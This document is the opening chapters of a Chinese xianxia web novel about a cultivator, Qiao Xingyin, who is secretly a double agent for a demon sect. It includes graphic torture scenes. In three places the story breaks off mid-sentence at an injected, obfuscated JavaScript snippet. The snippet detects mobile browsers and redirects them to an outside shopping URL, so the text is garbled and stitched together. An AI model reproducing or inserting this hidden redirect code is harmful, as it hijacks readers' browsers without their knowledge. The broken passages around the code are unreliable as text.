《双重卧底已在修罗场》 1. 两面三心(一) “乔圣使,立圣渊的渊令。给,还是不给?” 幽幽密林遮挡月色,仅有暗蓝火光漂空闪烁。两条乌黑锁链直穿一黄衣女子琵琶骨,锁灵破体,缚人于树。鲜血淅沥不止,不知淌了多久,一点一滴,顺着树干与地势蜿蜒而下,汇成一条瑰艳血蛇,从黄衣女子爬向一群白衣魔修。 哗啦一声,锁链摆动。 启唇询问的白衣男子面带微笑,再次催发内劲,如同拨动古琴般,纤长五指玩味挑动,弹拨锁链,在林中奏响一曲疼痛之乐。 “唔——” 一声虚弱的闷哼响起,乔行吟骤然抬头。 魔体纳魔气,灵体承仙气,而灵体魔气,如何能相容? 侵袭的凶煞魔气,在乔行吟体内翻腾、肆虐、搅动。四肢灵脉,尽受其害。因受刑多时,她早已乌发湿透,面色苍白,却仍是双唇紧抿。 白衣男子走近,掐住乔行吟的下巴,“啧啧啧啧,多么惹人怜爱的面容,多么令人不爽的态度!” 光有他表演弹奏,却无她哀嚎应和。乏味!无聊!烦躁!白衣男子阴森森道:“多少年了,能在我这‘枯骨立’下坚持的,可没有几个。今天,倒是让我开了回眼。” 他的目光流转至乔行吟额间,转而以双指抚描乔行吟额间一枚金银扭合状印纹,“乔圣使,要不这样吧,今天我帮你破了这戒印,还你一身轻松自在,应当——值得你一声嘉许?” 白衣男子故作思考姿态:“让我想想......乔圣使是不是出于流光宗呀......流光印......戒杀,戒盗,戒淫,戒酒,戒......现在这个情况和条件,那我只能选——” 乔行吟闻言,一瞬扫过眼前这群魔修,见其中一人脚尖微动。 她对上白衣男子阴戾双眼,终于开口道:“可惜了。” 白衣男子目光一厉:“可惜了?!” 他嘲讽道:“说到可惜,我倒是可惜乔圣使。” “可惜你,作茧自缚!帮人挡下一钩,反被抛下,只能任人鱼肉。这滋味,好不好受?” 乔行吟并未回应,而是吐出规劝之言:“可惜林殿主你,天赋绝佳却误入歧途,继而魔气侵性,内心迷茫空虚,只能通过凌虐他人取乐。不若清心重修,回头是岸,再入仙途,以免越陷越深,邪念噬身。” 林少绝邪气俊美的脸上一片冷然,双眼微眯。 他置若罔闻,却凑得更近,想要细细欣赏这幅“黄莲绽血仍欲渡人”的美景。 乔行吟用这个距离方能分辨的气音继续道:“不过,我亦可惜你,纵使放纵恶欲以身修魔,一身本事,终究不过如此。破戒?非我本心意动之举,可破不了戒印。听闻你创有极招‘断识焚’不轻易外使,修得怎样?林殿主倒不如直接拿出看家本领,免得刑狱殿威名扫地,于百恐宫贻笑大方。” 哗啦哗啦,锁链再动。 这一次,却是乔行吟自发的挣扎,带动锁链铮然作响。 她之前痛得狠了,才偶尔闷哼一两声。如今神色错乱地扭动,显然是连手脚都无法控制了。没有一丝血色的嘴唇微微张合、无声喘息。锁链所穿之处亦撕裂更狠,血流如注。 乔行吟这番言行姿态,让林少绝感觉浑身都隐隐发烫了起来。 他之所以百般折磨眼前之人,是因为立圣渊的渊令,与渊内的持令人排他绑定,生息相通,人亡令毁。他决定了,不管渊令能否得手,这人,他要带回魔域。虽然坏了规矩。但,又如何呢?他弃仙修魔,为的就是,这份能够为所欲为的自在。 不远处的密林枝叶间,因庇形珠得以隐蔽的两人,牢牢地盯着眼前惨景。 一黑衣男子面色阴沉,看似平静地催动留影石持续记录,左手五指却深深抠进棕褐树干;另一黄衣女子双手捂嘴,竭力压制情感,但早已泪流满面。 树梢间的程羽心急如焚,她用渊令向身边之人传音:“我发出讯息已久,你们开霓宗的坐镇仙师怎么还不现身?!” “乔师姐是为救我,才落入敌手,这还不能说明什么吗?况且师姐戒印加身,行我宗最为严苛的善缘苦修一道,你们怎么会有此种猜测?!我都有可能是魔域内应,师姐绝不是!” 她整个人颤栗不已:“即便上面恰以此机,作为师姐获取逐圣帖的进阶考验,让师姐持续受此大罪,未免也太过了!” “再等等。” 得到如此冷淡的答复,又见林少绝一行人竟然有带走乔行吟的趋势,程羽口不择言,干脆撕破脸传音道:“你们是什么意思?!你们安的什么心?!特别是你!你现在还能好好在这里作壁上观,难道不是因为师姐的一路护持?!本来是不幸中的万幸,我刚求援仙师便回应在附近。隐在这里,是为了方便仙师入阵定位,不是为了忍受这群渣滓伤害我师姐!要不是你三番五次多加阻拦,何至于此?!说不定是你们开霓宗的人借题发挥,故意让我们出身流光宗的修者饱受折磨!” “乔师姐是什么人,大家都有眼睛看!” “查案、平乱、讲学、护宝、驱邪、缉魔......师姐哪次不是身先士卒?即便师姐戒杀,无法诛魔,接不了渊内所谓的大案子,圣绩仍是名列前茅,一片赤心,天地可鉴。恰逢逐圣会将要召开,我知道师姐挡了你们有些人的通天大路。呵呵,仙来仙去,圣来圣去,修来修去,还是肠子花花,真是不怪我宗弟子多隐世而不入渊。” 她内心作好决断,再次传音:“我等不了了!再造之情,救命之恩!我宁愿死在此处,也好过眼睁睁看着师姐遭辱!” “仙师又如何?戒律使又如何?渊令消亡之时,我拼着灭魂,也誓必留下血谏!” 就在程羽将要跃身而下、黑衣男子反扣其脉门之时,几束白光射入密林,击得林内一簇簇暗蓝火光碎成星星点点。 林少绝心道不好,他设下的封围阵被破。 漫天银针,牵丝带线,迅疾袭向林少绝及同行魔修。林内众人纷纷出招隔挡,其中躲闪不及之人,身上穴位被丝线插入,竟调转矛头,攻向己方。 林少绝暗骂一声:“该死,是牵丝傀儡针!”一边唤回乌黑锁链击飞银针,一边毫不留情地绞杀中针魔修,一时之间,左支右绌。 在他分神之机,几缕丝线穿入缠绕,将他臂下乔行吟拉出。林少绝欲再动作,却不察挨上万针齐发下的飞来劲气,当即喷出一口鲜血。他望了一眼乔行吟,当机立断,率领剩余部下用保命秘法移行遁走。 “师姐——”程羽悲痛冲出,揽住失去意识的乔行吟。 ——— 一日后,黑衣男子唐述提劲御能,依照特定步法,足解八卦,顺利踏入一处庭园,将记录了乔行吟近期举动的留影石,放于庭门等候的牵丝傀儡手中。 此处,是开霓宗当代坐镇仙师唐迢,于凡域憩息时的柳暗庭。 开霓宗三绝之一,便是阵法。宗内多的是各式各样的亭台楼阁与园林水榭,工艺华美精致,布局错落有致,辅之以玄妙阵法,合为一观,独为一景,美如名画而不失隐蔽,举域闻名。柳暗庭,更是尽得天工之妙、阵法之玄。 唐述传音复命道:“如仙师明见,经多日观察,乔圣使平素与人为善,秋毫无犯;临危忠心耿耿,不动如山,评定通过查验。供报予仙尊与各位仙君。” 因仙域近期顺藤摸瓜,查出立圣渊内出了奸细之故,唐述作为仙域戒律使中一员,被派至立圣渊负责内部督查一事。而包括乔行吟在内的,几十名有资格获得逐圣帖的高阶圣使,是戒律使的重点关注对象。 仙域生于凡域、升于凡域。得入仙域,是凡域灵修的武道追求。 立圣渊,则是从凡域升入仙域的唯一途径。 凡域宗门中佼佼者,经察试与举荐,方可拜入立圣渊。此后由宗门灵修转为修仙历练,于立圣渊领命复职,轮值凡域各宗门辖区,积累圣绩。从圣徒、圣使逐级晋阶至各类仙徒后,渊令得以升为仙牌,准入仙域。 若圣使年岁恰逢其时,圣绩又满足条件,能遇上仙域百年前才开始针对立圣渊举办的、五十年一届的逐圣会,经过轮轮对决与优中选优,被选为轶圣使之一,更是能“一步登天”,不必再经历仙徒、仙使、仙师晋阶的层层攀升,而是直接师从各位仙君,享有得天独厚的资源,经历密训培养尽得真传,成为下代预选仙君。 此时,仙域未来一代的聚集地——立圣渊——却出了魔域卧底,仙域如何安心放之不管? 唐述此次接仙师唐迢之令,在立圣渊内摸索排查,便一举抓出了几位或有异状的圣使、圣徒。乔行吟,是他监视最久、测试最多的查验对象。 他此时得出的最终结论是——通过。 唐述为人沉着冷静,因出身开霓宗创宗世家唐氏而承袭的各类秘传功法与戒律使的职责相得益彰,很快便成为戒律使中首屈一指的人物。他的评断,分量十足。 牵丝傀儡口中传来唐迢之音:“她,也确实令我刮目相看。” 唐迢作为镇守凡域开霓宗一界的仙师,接到程羽求援讯息后,允唐述计策,合谋设试,直至最后关头才出手。 “由圣入魔易,由魔归圣难。唐述,我同意你的做法。” “不试试下一辈的心性,岂知他们是否为魔域用异法培养的奸细?又或者后续投魔?” 牵丝傀儡被细线操控,一往一返间,唐述手中多了一份至宝灵药,“乔行吟轮值过来不过数月,便得众口交赞。况且,遇上林少绝之手段,就算是有心朝圣修仙,也未必挺得过酷刑拷打。她既已通过,便不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她继续抱怨道:“呵呵,之后难道用得上他?!他也是,唐仙师也是。打个巴掌,再给颗枣。” “你若有什么需要的,跟我说,我来帮你!” “我确实有两件事,需要阿羽帮忙。” “不过,阿羽,我担心......”,乔行吟怀疑道:“你能做到吗?” 程羽听到能帮上忙,眼睛顿时发亮,又听到乔行吟语带怀疑,急切表态道:“当然能!什么事?” 乔行吟:“一者,我现在魔气入体,尚得闭关数日才能拔除魔气。为让我全然安心,你也得回去好好休息,不可伤神。” 乔行吟:“二者,冤家宜解不宜结。此方坐镇仙师与戒律使,必是心中有数才有此举动,他们若真想置人于死地,多得是机会与方法。就比如这次,仙师可延后回应、不必出手,戒律使亦不必向你陈明原委,只需担上支援不力的名声,我的结果,便是命丧魔修或废人一个。” “依你的性子,只怕为我与人有了冲撞,对你有害无利。” 乔行吟开导程羽道:“阿羽,我欣赏你的勇敢与赤忱,亦感谢你的维护。所以,我更希望你能顺风行船。很多时候,占尽优势的人,才有资格主导。有恃无恐的人,才具机会矫情。不分斤两的人,才会盲目叛逆。若仅是不待见他人,大可眼不见心为静,不必非得恶语相向。在他人势壮的地界上你需要平心戒躁。” 程羽:“师姐!你!他们让你多吃这么多苦头,难道就这么算了?!人善被人欺!我才——” 乔行吟微笑道:“嗯?阿羽,做不到吗?” 程羽的话全哽在嗓子里,化作了一个字:“能。” 待劝走程羽并要她请离唐述后,乔行吟步离药床,布下禁制。 她双指并拢,于左眼一抹,左眼霎时黑瞳转金,辉耀溢彩。一柄古朴铜镜悬于空中,乔行吟映镜于瞳,步入镜中世界。 镜中白雾缭绕,烟波涌动,异香袭来。 一具身披兜帽玄袍的身形于雾中若隐若现。 倏忽之间,虚影凌空,飞突至乔行吟面前。 乔行吟慢慢开口道:“万相宫,伏圣者伏五,应联监者感召,特此前来镜中瞳,聆语行令。” 来者面容不显,但见右瞳同样金光闪烁。 他伸出一根玉雕般的手指,轻抵乔行吟左眼,例行发问,所得回应但有异变,即刻唤咒诛杀。 “你是否铭记誓言始终忠于万相宫?” “是。” “你是否视万相宫的命令高于一切?” “是” “你最喜欢的人是谁?” “好玩吗?” 乔行吟一把拍开他的手指,“翊,镜中瞳的真言香,是让你这样用的?” 2. 两面三心(二) 联监两问既已通过,男子扬手掀开斗篷。 张扬耀目的俊俏面孔一经显露,便如烈阳般划破缥缈烟雾。 星眸深邃,虎牙微露。 伏翊笑嘻嘻道:“五,你认出我啦?” 乔行吟道:“是不是很好玩?你没事做了,献只眼兼任我的联监者?” 万相宫的伏圣者与联监者,以左右双瞳建立镜中通道,一对一单线联系。 乔行吟作为被选拔、培养的四位伏圣者之一,于魔域内衣兜帽、带面具、易喉音,仅有寥寥数人知晓她真实的音容面貌。 联监者换人,说明前任联监者只有一种结局,死了。 他呶呶嘴道:“太想你了嘛,就来做你的联监者咯!你还没回答我吧,你最喜欢的人是谁?” 乔行吟:“......” 乔行吟的长相,本就是极易引起人好感的类型。笑时灿若霞光,灼灼动人。不笑时,亦是玉含温光,莹莹暖人。 此时她双手抱臂,嘴角拉平,才隐隐显出了一两分霜意。 伏翊顿时心下一紧。 他与乔行吟幼时入伏圣殿,从众多义子义女间杀出重围,成为伏圣影。按照最终的表现与排名,获取代号之时,本应他为伏圣者之一的伏五,她为居于其上的伏一——也就是伏翊。而乔行吟为了救他,与他交换了代号,亦交换了待遇。这样的感情,他自然是向着她的,难道他还不能与她开开玩笑?又或者,她真得这么不乐意他担任她的联监者? 为了驱散乔行吟这点儿冷气,伏翊提高声音叽叽喳喳起来,“剩我一人在魔域处理破事。你们出去这么久,是不是在外面流连忘返了?都忘了还有个我在苦守寒窑?” “平常想见你们也见不到,好不容易见到你了,你还这样——”他也双手抱臂,模仿乔行吟此时的样子。 “你之前不是接到下令了嘛。即便是伏圣者,无论如何,也必须回来参与这次的三宫聚谈。你打算用什么办法?” “我一成为你的联监者,就想告诉你。” “兴冲冲地联系你这么多次,每次都是杳无音讯,要不是镜中瞳无异状,我都要——” 他忽而顿住,又继续扔出一堆问题:“你最近到底在忙什么?怎么现在才回我?” “喂,五,留给你回来的时间可不多了。你是不是遇到了麻烦?需不需要我帮你?” 乔行吟叹了口气,方好笑道:“翊,你抛出问题这么多?请问,我要先回答哪一个呢?” 镜中瞳弥漫真言香。 乔行吟可以回避问题。一旦回答,定为真言。 乔行吟道:“我出圣务之时,不巧,竟遇上了百恐宫刑狱殿的一行人。林殿主擒住我后对我用刑,我因此失识昏迷,没有来得及回应你的传召。” 伏翊闻言,剑眉一拧,“用刑?” 他磨了磨牙道:“我帮你报复回来。那个带头的林疯狗,你想要他怎么样?” 乔行吟道:“不必计较。下线魔修不识我身份,才大水冲了龙王庙。” 她向伏翊解释道:“况且,为入魔域三宫界,我本就有意寻个出圣务的机会与大家交手。不料林殿主恰好送上门来。” “借他对我用刑之机,我不仅引得魔气入体,打通魔体压制灵体,还正好消除了立圣渊对我的猜疑。此次受伤,也给了我一个正当事由闭关,即便动用秘阵往返,期间身散魔气,亦不会招人怀疑。” “受些皮肉之苦而已,能一箭双雕,何乐而不为呢?” 乔行吟遗憾道:“只是,林殿主爱好特别,竟情绪上头对我动用了‘断识焚’。我近些日子灵识一片混乱,宫内命我通过重要时机探查得来的信息,已没法提取了。” 他不满道:“五,三宫可是规定了,‘断识焚’是他刑讯内部叛徒之时才能使用的极招。他违背了。你别告诉我,你对他,也要像外面那样留情?” 作为为数不多知道伏五就是乔行吟的人,伏翊一直暗暗关注着她的消息。 虽然,他不太喜欢用“乔行吟”这个她在外面的名字称呼她。 仙域的观灵使,会将立圣渊中每届圣使武试信息简要编撰为册,售向凡域,激励后辈。他记得那册上关于她的载录是——“乔行吟,流光宗第二十一代首席弟子,封岭宗师举荐……此子持戒勤修,脾性温和,心慈面善……入渊武试所用灵器为莲花雕粒檀木链,戴于左手……承流光宗真传,擅长指法、印法、步法三道……不用杀招亦次次为胜,封灵之击出神入化……对战点到为止,出手多有留情……” 他不高兴再继续想下去。 乔行吟和伏翊,属两方。 伏五和伏翊,才是一边的。 伏翊的思绪被乔行吟的话语打断,“翊,林殿主治下无情,不一定会怀疑是他麾下走漏消息。若以他私自对外动用‘断识焚’这一条来惩治他,岂不是让他察觉到作为立圣渊圣使的乔行吟与魔域有联系?跟宫君明说即可。至于这笔账,来日方长。” 伏翊仍有些不平,跟乔行吟分享道:“我跟你说,千恨宫百恐宫都是些脓包废物煞星疯子在干事?!每次你传递回三宫界的消息,他们不是办不成,倒霉到半路出各种幺蛾子,就是被无何城等其他方破坏截胡,还蠢到常拖后腿!这次三宫聚谈,我一定骂得他们狗血淋头。” 乔行吟闻言,颇为震惊道:“竟是一件都没办成?” 伏翊怒意凝上眉心,本就烈烈如火的眉目,愈发烧的凌厉,回道:“呵,一群猪头。” 乔行吟问道:“对了,林殿主对我用刑,是为了逼我交出立圣渊的渊令,你可知他所为何事?” 伏翊道:“反正不是宫会下达的任务。”他想了想,回道:“怕是他们百恐宫新殿统的私事。” 伏翊翻了个白眼,“刚上来不久,威风大得很。” 乔行吟墨睫微垂,道:“哦?是吗?” 伏翊吹了吹自己额前刘海,“可不是吗?百恐宫本来就是疯狗扎堆,那小子玩得花样更是多。又是在各殿禁红衣穿白衣的,又是怀疑这打压那的。” “比林疯狗还神经,我看见他就烦。” 伏翊用手指点了点自己的太阳穴,向乔行吟眨眼道:“不是我说,销魂窟那种地方爬上来的恶鬼,就是容易犯病。” 魔修,修炼易、见效快、路数邪、功力强。对应地,各种弊害与隐患也多。 发疯、暴毙、短寿、易老等各种代价,不要太常见。 本来挺正常,修着修着就崩溃了变态了,更是常见。 再加上,魔修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289757|152098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不比灵修,后者为入仙途,要求立身行道,规矩严明;前者则弱肉强食,优胜劣汰。即便如魔域中创域之始、统领之尊的三宫界这般,由万相宫、千恨宫、百恐宫三宫联合管理,层级分明,也多各自为政,诸多魔修依然行事不羁。因此,魔域内势力更新迭代的速度也很快,一代更比一代癫。 伏翊正色道:“五,我这次来,也是想要告诉你,你久未归域,三宫界经历了一番变动。百恐宫严搜三宫界内各方眼线,甚至指控万相宫内伏圣者一系亦藏有卧底,这也是为什么宫主与宫君冒着前功尽弃的风险,也要召回伏圣者一起参加三宫聚谈的原因之一。你之后要注意魔——” 话未说完,伏翊的嘴角流下一线鲜血。他捂住胸口,额角青筋暴起,神色痛苦,再也无法继续开口。 这是触犯了体内所埋言禁蛊所禁事项的反应。 言禁蛊,他有,她也有。 乔行吟自手腕檀木链上拧出一粒木雕莲花碾碎。檀香幽幽,稍微平复了伏翊体内翻腾上涌的血气。 伏翊听到她道:“翊,谢谢。不必多言。” ——— 乔行吟从镜中瞳返回,收起铜镜。 她坐于幽玉药床,思量片刻后,解下发间缠绕着的聚厉丝。 聚厉丝,亦是乔行吟的随身灵器,名为“护情”,夹于她脸颊两侧垂落的几绺乌发当中,风动发扬间方让人窥得一根紫黄两色丝带。 此时,乔行吟手持聚厉丝,催动灵识,对着聚厉丝轻唤了一声:“不移。” 紫衣男子的虚影慢慢浮现。 来影一袭长长卷卷的黑发尽数挽至左耳边,隐约可见紫丝银饰缠绕于发间,归拢出一条松松垮垮的单侧发辫搭在肩上,直让发末处坠出一尾缥缈紫韵。 虚影明明身形高大,被唤出后,却如小兽一般俯身将头倚在乔行吟肩膀之上挨挨贴贴,似在寻求安慰。 这虚影,是无何城现任城主姚不移,抽出自身几缕魂丝,附魂于聚厉丝上的产物,用来单向接收乔行吟所传递的信息。 虚影不能言语,无知无觉,神智如同一两岁孩童。有此番举动,只能是魂主内心深处的亲近本能驱使。 乔行吟低头,将额头抵在虚影头上,通过魂内之音传递信息。 “不移,你需要收回三宫界中各处分魂了。近期界内将有大动作,若你一时不察,分魂意外被灭,未免损耗过大。你于无何城内上位不久,正是稳固地位的艰难时期,不要耗魂分神,支用分魂看顾我这边。” “我知那时你想出手。不要生气,我有九分把握。” “耗尽林少绝的耐心,激得他对我使用‘断识焚’,才知道后续计划能否行得通。” 虚影从乔行吟肩颈处仰起脸,眼眸湿气氤氲。 即便只是虚影,亦能辨出容貌之上乘。 修眉深眼,高鼻薄唇。 人的五官,居然真得能生得不多一分不少一分,兼之颊边独具特色地生着一粒朱砂色小痣,勾勒出一种亦俊亦雅、既艳又清之美。 许是魂主肤色极白,几分虚影朦胧中,更添惹人怜爱的气质。 乔行吟抚摸虚影的一头秀发,以魂音继续道:“两日后便是三宫聚谈。我脱离魔域太久,也恰是时候,回三宫界走一遭了。” 3. 三宫聚谈(一) 乔行吟确实已经许久没有踏入魔域了。 因修仙与修魔的炼体方向不同,而从凡域升入仙域又非一朝一夕能成之事,魔域想派魔修混入仙域,必须长期筹谋,让卧底自幼扎根。 于是,万相宫创立伏圣殿,于魔域内收养经脉未成又天资卓绝的幼童,训练,测试,选拔,竞争。 从义子义女,至伏圣影,再至能被冠以伏姓的前五。排位第一者担任万相宫殿统,兼任伏圣殿殿主,得号伏翊;第二至第五者担任伏圣者,分别得号伏二、伏三、伏四、伏五;后位者继续担任伏圣影;而淘汰者,则自行选择剩余结局。 乔行吟一路而升,从义女一七三,成为伏圣影十九,再至伏圣者中的伏五,历经千辛万苦。期间不仅经历了异常残酷的义子义女大筛选,更是承受了异常痛苦的体脉改造等各类试验。仙魔两通之体炼成后,她与其他伏圣者及部分伏圣影离开魔域,纷纷以孤儿身份拜入凡域宗门进行修习。此后,她尽承流光宗所传,拔尖而出,集天时地利人和,终拜入立圣渊,领命谋入仙域。 纵观伏圣殿创立后的两代八位伏圣者与诸多入宗伏圣影之中,合计有四位伏圣者与两位伏圣影得入立圣渊。其余众人因各种原因,限于凡域各大宗门。而乔行吟这一代伏圣者的产生,意味着上一代伏圣者,已全员覆灭。 伏翊曾告知,目前,仅有包含她在内的两位伏圣者与一位伏圣影活动于立圣渊。 今日是三宫聚谈召开之日,凭借闭关在房的掩护,乔行吟通运魔体,周身魔气大起,启动秘阵。 刚传送至界门处,乔行吟便见到了身着玄色斗篷长袍的伏翊等候在此。 袍间隐约可见暗纹繁复,辅以秘银勾边,黑白翎羽镶于其间,尽显诡谲神秘。这是三宫界举域难求的伏圣袍。 她同样身披伏圣袍,与伏翊不同的是,她所着伏圣袍并无翎羽、颜色暗红,袍上暗纹非以秘银而是以鎏金描勒。翎羽,仅有伏圣殿殿主能饰,象征统率地位。而伏圣袍每代产五件,均由宫君从宫主处取得、发放,黑银袍提能,红金袍蕴魔,成为伏圣者之时可任选其一。五人中,仅有她与伏三选择了红金袍。同时,她脸覆一张薄如蝶翼的镂金面具,兼以兜帽遮蔽大半容颜。无论是兜帽还是面具,均以秘术加持,隐容隔窥,改音藏形。而伏翊因无需在外卧底,未以兜帽和面具掩盖容貌。 魔修不似凡域或仙域强调宗门传承,衣着向来无拘无束。三宫界内,唯一有着装要求,或者说有统一着装特征的,可能就只有伏圣者一系了,实在是好认得很。 一位,从身形和袍色来看,是只闻其名不见其人的伏五,因参与三宫聚谈,终于现身。另一位,则是三宫界内大名鼎鼎同样也人见人愁的伏翊,一改往日嚣张气焰,亲自等人。 恰巧在界门附近活动的众魔修,见到这一幕,都暗戳戳地在原地徘徊来徘徊去,竖起耳朵想听个动静。 乔行吟有些尴尬道:“翊,虽然我久未回归,但还是认得方向的,倒不必亲自来接我。”因所附秘术改造之故,出口语气无波无澜,音色难分是男是女。 伏翊道:“五,我可是想和你边走边聊,一路给你介绍介绍三宫界的新变化呢~” 两人尚未交谈几句,便感觉到一股强烈魔气袭来,原本还想看热闹的魔修顿时散了个干净。 来者一身无暇白衣。 白色,本为素净,却因男子眉目之绮丽,倒衬得周身风姿沾染万般色彩。不仅与清绝无暇谈不上一丝一毫的关系,甚至给人一股勾魂摄魄的妖冶邪魅之感。 他走向乔行吟和伏翊,沉如幽谷的黑眸此时亮的惊人,跃动着莫名的光彩。 伏翊没拿正眼瞧人,对着白衣男子哂道:“几年前才从销魂窟里爬上来的玩意儿。成个殿统了,就分不清楚斤两了?挡在面前想干吗?” 销魂窟,是三宫界内魔修纵情声马的著名场所。 伏翊继续嘲讽道:“听说你那时的艺名叫什么来着,怜……怜……怜什么玩意儿?” “想必,霨殿统,也是十分避讳你的出身吧~销魂窟喜红,自你继任了,就命你统领内的各殿魔修不许穿红。唉,可惜,这白是够白了,但一身晦气,还是去不了。人到哪儿,就晦气到哪儿。” 霨还是一言不发。 伏翊发现了,这人,在直勾勾地盯着乔行吟。 乔行吟的目光和霨对上,便见他闪身上前,看起来似乎是想掀开自己脸上的面具。 伏翊眼疾手快,将霨格挡开来。 其实,即便乔行吟站着什么都不做,霨也绝对掀不开面具,反而会被魔纹噬伤。 伏圣袍和面具,均有魔核和秘术加持。 尤其是乔行吟这代,恰逢逐圣会举办时机合适,得以潜入立圣渊之人若是优秀,或许有望凭借逐圣会一举跃为仙域仙君,完成宫主亲自交代的重要任务。因此,宫内对伏圣者的培养更是上心,不仅由三位宫君代传宫主之令,给了伏圣者于三宫上下超前绝后的特殊地位,为了避免伏圣者受魔域内魔修谋夺地位之扰,因而由出手招式意外暴露明面身份,更是加强了伏圣袍上附着的效能。 伏翊冷冷道:“你到底想干吗?” 霨也是此时才将伏翊看入眼中,开口道:“我看不了?” 他神色不明,像是随口一问,对着伏翊道:“你看过吗?” 伏翊气得笑出了声,“别对着我们万相宫的人犯病。” “对,你看不了。在这装疯卖傻吗?还是说脑子里光装着些烂事,连一加一等于二都不知道了?别说你这个殿统了,就算你们百恐宫的宫君来,也看不了。要不,请出你们宫主来试试吧。” “至于我是不是看过?需要告诉你?” 霨道:“你记得我吗?” 这句话显然不是跟伏翊说的。伏翊闻言,也转头看向乔行吟,语带疑心:“五,你和他认识?” 乔行吟摇了摇头。 伏翊无比烦躁,冲着霨道:“你怕不是也像上一任疯狗神志不清了,赶紧滚回去治治,别出现在我们眼前。怎么这么晦气?”无论哪儿来的魔修,入了三宫,便可以舍弃自己原来的名字,随心意另取名号,独有他们伏圣殿特殊,只能继承,不能新取。伏翊心想,这人问伏五记得他吗,还为自己取个什么霨……要知道伏五因声名在外、神秘莫测,又被三宫界贯之以谐音“雾”,取难以捉摸之意……他真是……而且好不容易与伏五在界内相见……都没说上几句话就遇到人来煞风景……越想越觉得晦气! 三宫之间,许多魔修其实向来便有些不对付。而万相宫与百恐宫,职责又算得上是“一头一尾”,魔修间更是容易看不顺眼,一见面就剑拔弩张,彼此说话间夹枪带棍,也算是司空见惯的场面了。甚至脾气再火爆点儿的,情绪一上头,哪里还讲究什么同在三宫行事,一言不合就是开打。 乔行吟知晓气氛不对,抓住伏翊的手臂,向霨说道:“霨殿统,失礼了。伏五多年不入魔域,不曾有幸与你结识,今后有缘,再望相知。三宫聚谈召开在即,伏圣殿一行,先走一步。” “翊,之后你再带我游看三宫界,此时参加三宫聚谈要紧,不如启阵而行。”便唤阵传送两人,剩霨一人站在原地。 霨盯着两人曾站立的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但是,三宫界的宫主,却从没有经历过任何一次继任换代,也没有任何一个魔修知晓他们的信息。即便是各宫内一人之下万人之上的宫君,也仅是以特殊方式与宫主保持联系、领受魔核,对外代言传令、管理各宫。 魔域各界内的魔修,均是靠吸收魔气才能进一步提升魔体与魔功,而魔气又是魔柱散发而来,是故魔修依赖魔柱,统一信奉魔柱。但魔柱作为起始之源,究竟是什么东西、长什么样子、在什么位置等等,众说纷纭。 大家唯一能明确的便是,三宫为魔域开山之祖,三宫界内魔气最为浓郁。于是相信,魔柱藏于三宫界,又将三位宫主奉为擎柱尊。 乔行吟不能往上看,便往左右看去,同座之中,只看见了伏三与伏四。 伏二没有来。 伏圣殿为了不让伏圣者在外身份暴露时拔出萝卜带出泥,便命令义子义女自成为伏圣影开始穿统一服饰,佩统一面纱,遮掩面貌,隔绝交流,仅以各自编号识别彼此。因此,除了伏翊显露容貌外,其他四位伏圣者领袍承名之时,也只知道他人的曾经编号和身高身形,并不知晓彼此的具体样貌。如今也是用身高、袍色与性格等特征,来识别谁是谁。 三位伏圣者,面面相觑。 参加三宫聚谈,是伏圣者统一接到的命令。没有来,便意味着伏二任务失败。 乔行吟上一次参与三宫聚谈,还是成为伏圣者后离开三宫界前。那次的聚谈内容,主要是介绍与送行新一代的伏圣者与伏圣影。 即便议题是如此的平和,但,开会中的诸多场面,仍是让当时十一二岁的她大开眼界,记忆犹新。 这一次的三宫聚谈,不仅由宫内通过联监者急召潜伏在外的伏圣者一系,让大家付出灵体大损且极有可能暴露身份的代价打通魔体,承令而回,现下更是有伏二缺席。 结合伏翊之前告知她的信息……于她而言,只能是,风雨欲来。 4. 三宫聚谈(二) 天罗空山最底处漆黑一片。 只见山尖处射下一道蓝光,本来应当坚实平硬的地面,此时竟如一汪黑水般泛起波纹,不一会儿便出现了具体影像。 画面中,有些昏暗的牢洞内,一个人四肢被锁链连环洞穿,身体各处红肉乱翻,体无完肤,整个人像是都要融于地面血水似的,瘫软血泞,观之悚然。 刑狱殿殿主林少绝慵懒闲适地站在此人面前,白衣染血,十分刻毒地用脚将各处牵连着的锁链踢来踢去,再次得到地面之人声声痛号。他踢踏之时故意收着内劲,显然是不想让人死得太过痛快。 天罗空山中的众魔修,听到林少绝语含惬意地问道:“还有什么没说出来的吗?” 倒在地面的魔修,即便饱受折磨到精神恍惚,但因领教了林少绝的厉害,已形成条件反射,听到问话便当即断断续续地回道:“没……没有了……我说了……我知道的都说了……我不是叛徒……是万相宫……突然来了伏圣者密信……有标识……我才……让我死……求求你……求求你了……让我死……” 画面到此,戛然而止。 好些魔修都认出来了,倒在牢洞地面上的人,正是千恨宫战行殿下的一员大将! 这位魔将,可是出了名的暴戾恣睢,专横跋扈,为诸多凶横躁烈魔修的欣赏与效仿对象。如今却毫无往日威风,骨折气消,但求一死。直面这一幕的山内众魔修,即便无惧血肉淋漓的场面,依然感到脊背发寒。 只闻一道温和低缓的中年男声从宫君一级处传来,似乎一派和颜悦色道:“如诸位所见,本次三宫聚谈,目的在于沟通三宫近况,探讨宫内或有叛徒一事,大家可畅所欲言。” 三宫中的万相宫,对外司探查搜索,对内主统筹协调。三宫聚谈,一直是由万相宫先声开启,此音便是万相宫宫君之音。 